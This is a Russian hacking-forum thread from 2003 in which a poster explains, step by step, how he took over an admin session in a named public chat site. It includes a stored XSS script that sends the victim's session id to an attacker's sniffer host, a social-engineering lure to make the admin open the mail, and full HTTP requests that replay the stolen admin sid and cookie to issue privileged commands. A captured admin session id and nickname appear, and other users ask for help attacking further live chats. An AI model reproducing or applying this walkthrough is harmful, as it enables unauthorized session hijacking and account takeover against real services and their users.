Algol help!!!

Discussion in 'Песочница' started by LeXuS, 4 Jul 2003.

  1. LeXuS

    LeXuS New Member

    Joined:
    28 May 2003
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    Короче Algol, я к тебе обращаюсь как к знающему человеку, на чат http://asya-club.ru заходит постоянно чел и с пользователя поднимает себя до админа, как он это делат, чё то я не врубаюсь, осмотри чат:) [​IMG]
     
  2. DRE

    DRE New Member

    Joined:
    4 Jul 2003
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Мож у чела есть скрипты серверные чаиа!
     
  3. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Да, чат дырявенький....
    Опишу весь процесс взлома (обычно я этго не делаю, но здесь брешь настолько простая, что можно и описать))):

    1) Первым делом исследуем все на прохождение кавычек, тегов, знаков =, %, & и т.д. Оказалось что везде все хорошо отфильтровывается. НО в почте (система местной, чатовской почты) проходят теги в теле мессаги !! Т.е. обнаружили дырку.

    2)Выясняем, что идентификация пользователей происходит по некому номеру сессии sid (это отслеживается навископом и экспериментами с InetCrack). Подробно описывать не буду, разбирайтесь сами.

    3) Выяснив (и проверив-отсылкой телеги самому себе) брешь, пишем такой скриптик в теле сообщения
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
    < script>setTimeout('var i=new Image;i.src="http://[адрес сниффера]/sniff.cgi?"+document.forms[0].sid.value',500);
    </script>
    Привет ! помнишь меня ? или я обозналси ?
    [/QUOTE]<span id='postcolor'>
    Этот скрипт создает картинку, и в качестве адреса для е закачки указывает адрес сниффера плюс данные из формы для ответа на мессагу. А эта форма содержит интересующий нас sid того человека, кто читает мессагу.
    Таким образом, когда чел получит наше письмо и откроет его, на наш сниффер отправится информация о его номере сессии sid.
    Скрипт срабатывает не сразу а с задержкой на пол секунды. Это нужно для того, что бы до срабатывания скрипта успела загрузится форма (которая в html документе идет ниже тела сообщения).
    Перед отправкой скрипта, его нужно проверить. Для этого отправляем мессагу сами себе , копируем HTML текст на винт, вставляем скрипт на место тела сообщения, и открываем в браузере. Если ошибки не возникло и в логе сниффера видим свой sid значит все окей.

    4)Находим админа (это просто- видно по иконке в списке юзеров), и отсылем ему телегу. Затем пишем ему в приват:
    Ты почту давно проверял?
    После этого он естественно сразу кидается ее проверять. Скрипт срабатывает (при этом он разумеется ничего не замечает, поскольку скрипт работает чисто. Заметить можно только если стоит фича типа навископа, но это для админов редкость)). Мы быстренько смотрим лог снифера и обнаруживаем номер его сессии (ну и попутно IP адрес, хотя он нам уже не нужен)

    5)Далее начинаем искать админские кнопочки. Для этого включаем навископ и жмем обновить окно браузера. При этом все фреймы перезагружаются. Смотрим в логе навископа все странички, которые подгружались. Выбираем те, в которых могут быть админские кнопочки. Обычно кнопочки или в отдельном окошке или в том же фрейме что и форма отправки сообщений. Вставляем отобраные HTTP запросы в InetCrack, заменяем в куках и в адресе свой sid на sid админа, и свой ник на его ник.
    Отправляем зпрос и смотрим есть ли кнопочки в ответном HTML. После нескольких попыток, я нашел запрос, который мне прислал кнопочки. Вот он:

    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
    GET http://asya-club.ru/chat/cont.php?sid=770322652&amp;r=306 HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Referer: http://asya-club.ru/chat/chat.php
    Accept-Language: ru
    Proxy-Connection: Keep-Alive
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)
    Host: asya-club.ru
    Cookie: NickHistory=FINIK; cookid=770322652
    [/QUOTE]<span id='postcolor'>

    Здесь подставлены ник и sid админа FINIK (sid=770322652).
    В ответ на этоот запрос сервер мне прислал следующий HTML:

    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <html>
    <head>
    <title></title>
    <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="TEXT/HTML; CHARSET=WINDOWS-1251">
    <META HTTP-EQUIV="EXPIRES" CONTENT="WED, 26 FEB 1997 08:21:57 GMT">
    <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
    <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
    <META NAME="DOCUMENT-STATE" CONTENT="DYNAMIC">
    </head>
    <link href="msg.css" rel="stylesheet" type="text/css">
    < script language="JavaScript">
    function ContLoaded(){
    parent.cont_loaded = true;
    }
    function Send(command){
    if ( parent.selected_nick != '' ) {
    document.forms.sendform.sid.value = parent.session_id;
    document.forms.sendform.texteditor.value = command+' '+parent.selected_nick;
    document.forms.sendform.submit();
    }
    }
    </script>
    <body bottommargin="1" topmargin="1" leftmargin="1" rightmargin="1" marginheight="1" marginwidth="1" class="contbody" onload="ContLoaded();">
    <div class="tbtn" style="width:100%" onclick="Send('/kick');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/kick.gif" alt="" width="14" height="14" border="0">Выгнать</div>
    <div class="tbtn" style="width:100%" onclick="Send('/op');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/op.gif" alt="" width="14" height="14" border="0">Повысить</div>
    <div class="tbtn" style="width:100%" onclick="Send('/deop');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/deop.gif" alt="" width="14" height="14" border="0">Понизить</div>
    <div class="tbtn" style="width:100%" onclick="Send('/pmute');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/pmute.gif" alt="" width="14" height="14" border="0">Отнять приват</div>
    <div class="tbtn" style="width:100%" onclick="Send('/mute');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/mute.gif" alt="" width="14" height="14" border="0">Отнять голос</div>
    <div class="tbtn" style="width:100%" onclick="Send('/unmute');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/unmute.gif" alt="" width="14" height="14" border="0">Вернуть голос</div>
    <div class="tbtn" style="width:100%" onclick="Send('/ban');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/ban.gif" alt="" width="14" height="14" border="0">Запретить вход</div>
    <div class="tbtn" style="width:100%" onclick="Send('/whois');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/whois.gif" alt="" width="14" height="14" border="0">Поглядеть Инфо</div>
    <div class="tbtn" style="width:100%" onclick="Send('/move');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/move.gif" alt="" width="14" height="14" border="0">Послать В #Угол</div>

    <form action="post.php" target="post" method="post" name="sendform" id="sendform">
    <input type="hidden" name="sid" value="0" id="sid">
    <input id="texteditor" type="hidden" name="texteditor" value="">
    </form>
    </body>
    </html>
    [/QUOTE]<span id='postcolor'>

    Не трудно видеть, что у админа имеются следующие операции:

    Выгнать
    Повысить
    Понизить
    Отнять приват
    Отнять голос
    Вернуть голос
    Запретить вход
    Поглядеть Инфо
    Послать В #Угол

    Из исходника видны также команды, которые при этом нужно посылать на сервер.

    6) Теперь можем творить что душа пожелает. Например повысить себе права. Для этого отсылаем следующий HTTP запрос

    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
    POST http://asya-club.ru/chat/post.php HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Referer: http://asya-club.ru/chat/msg.php
    Accept-Language: ru
    Content-Type: application/x-www-form-urlencoded
    Proxy-Connection: Keep-Alive
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)
    Host: asya-club.ru
    Content-Length: 80
    Pragma: no-cache
    Cookie: NickHistory=FINIK; cookid=770322652

    sid=770322652&amp;texteditor=/deop Algol
    [/QUOTE]<span id='postcolor'>

    Это запрос посылки команды с замененными никами и sid, и отсылающий команду /deop Algol.

    Как говорилось в старой рекламе &quot;Вот я и в Хопре&quot;  [​IMG]
     
  4. Марат

    Марат Elder - Старейшина

    Joined:
    10 May 2003
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    Айда молодец....ну респект тебе Алгол!
     
  5. Марат

    Марат Elder - Старейшина

    Joined:
    10 May 2003
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    ой извините за флуд но еще один ламерский вопрос новичка-КУДА ВЫ ЭТО ВСЕ ВПИСЫВАЕТЕ ДЛЯ ВЗЛОМА?
    там &nbsp;же надо чтото вписывать или как?или надо какуюту прогу скачать?
     
  6. LeXuS

    LeXuS New Member

    Joined:
    28 May 2003
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    Алголь, я всё понял, кроме одного. Где все эти тэги писать надо[​IMG](кроме минипочты)поподробнее...
     
  7. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
  8. LeXuS

    LeXuS New Member

    Joined:
    28 May 2003
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    Спасибо брат, с меня пиво!!!
     
  9. LeXuS

    LeXuS New Member

    Joined:
    28 May 2003
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    Всё ок, всё работает, тока я не понял вот этот процесс:

    Перед отправкой скрипта, его нужно проверить. Для этого отправляем мессагу сами себе , копируем HTML текст на винт, вставляем скрипт на место тела сообщения, и открываем в браузере. Если ошибки не возникло и в логе сниффера видим свой sid значит все окей.
    [​IMG]
     
  10. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Посылаем сами себе по почте месседж.
    Получаем его и копируем HTML окна, в котором отображается письмо в блокнот. И потом начинаем экспрементировать, вставляя в этот HTML скрипты.
    Это просто нужно для того, что бы тестировать скрипт, и не отправлять каждый раз самому себе письма.
     
  11. LeXuS

    LeXuS New Member

    Joined:
    28 May 2003
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    Нет, я имел ввиду sid как смотреть...фу...
     
  12. LeXuS

    LeXuS New Member

    Joined:
    28 May 2003
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    Альголь, как смотреть лог сниффера[​IMG] [​IMG]
     
  13. Guest

    Guest Guest

    Reputations:
    0
    Тоесть если знаешь сид админа, можно команды от админа в любом чате выполнять?
     
  14. Guest

    Guest Guest

    Reputations:
    0
    Нет, не влюбом чате пройдет ваша Фишка, только в чатах которые основанны на этом самом принцыпе, да и есть еще кое что: 1) В этом чате просто Админ не просек эту норку(да-да, это можно считать Норой целой), а так в чате почти невозможно узнать Сид, он генерируется независимо!(если конечно ты не сможешь пристроить свои скрипты, как в данном случае было сделано) 2) В некоторых чатак(в данном случае с Сидом) имеется не прямое управление командами чата, тоесть Админ заходит на отдельную страничку с блоком управления чатом, страничка естественно запароленна, и спрятана(спрятана, это не проблема, Лог глянуть достаточно), в таком чате, ты если и достанешь Сид, то сможешь только толковать от его имени ну и возможно видить его приват! И еще! В некоторых чатах ты не сможешь подставить чужой Сид.
    Надеюсь, я ничего не упустил и ты получил ответ на свой вопрос.
     
  15. Guest

    Guest Guest

    Reputations:
    0
    Algol, сообщение адресую тебе!
    Ну во первых, хочу тебя разочаровать и сказать, что Сид тогда ты украл не у Админа....
    Но вот тебе пища для размышленийя! Закроют эту дырку в почте(фильтры поставят) и что тогда??!
    Есть еще способ повысить себя?
     
  16. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ июля 07 2003,01:26)</td></tr><tr><td id="QUOTE">Algol, сообщение адресую тебе!
    Ну во первых, хочу тебя разочаровать и сказать, что Сид тогда ты украл не у Админа....
    Но вот тебе пища для размышленийя! Закроют эту дырку в почте(фильтры поставят) и что тогда??!
    Есть еще способ повысить себя?[/QUOTE]<span id='postcolor'>
    Не у админа? Ну так у модератора. Мне не было времени разбираться в ваших статусах. Явно только одно: этот человек имел панель управления, бан,  килл и т.п.

    Касаемо закрытия дырки: да ради бога [​IMG]
    Не вы первые не вы последние. Все дырки такого типа рано или поздно прикрывают. Удивительно правда как она вообще до сих пор сохранилась [​IMG]

    А повышать себя таким способом я и не собирался (я ксати даже не отсылал последний пакет)). Я это делаю другими способами  [​IMG]

    ЗЫ Да и кстати я честно пытался переговорить с разарботчиком, но он оказался букой (мож даже это и ты). Не люблю я таких людей. Если уж лоханулся, дык признай и залатай, а не лезь в бутылку &nbsp;[​IMG]
     
  17. Guest

    Guest Guest

    Reputations:
    0
    Спасибо на вопрос ответил очень понятно!
     
  18. Guest

    Guest Guest

    Reputations:
    0
    Algol а ты не &nbsp;мог бы посмотреть ещё http://www.hpchat.ru
    вот это чат я немного там порылся и увидел что у админа есть отдельная панель (скрыта), расскрыть не смог мож посмотришь?
     
  19. LeXuS

    LeXuS New Member

    Joined:
    28 May 2003
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    Ха-ха, зря я эту тему замутил...Этот &quot;Некто&quot; и был админом этого чата, я даже знаю кто [​IMG] Теперь эту дыру залатают [​IMG] Но!!!Есть ещё один способ [​IMG] Спасибо Аlgol, что посмотрел чат[​IMG]
     
  20. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ июля 07 2003,13:32)</td></tr><tr><td id="QUOTE">Algol а ты не  мог бы посмотреть ещё http://www.hpchat.ru
    вот это чат я немного там порылся и увидел что у админа есть отдельная панель (скрыта), расскрыть не смог мож посмотришь?[/QUOTE]<span id='postcolor'>
    сорри, но я не могу смотреть все чаты подряд..
    У меня помимо всего есть еще и работа, семья, дети ))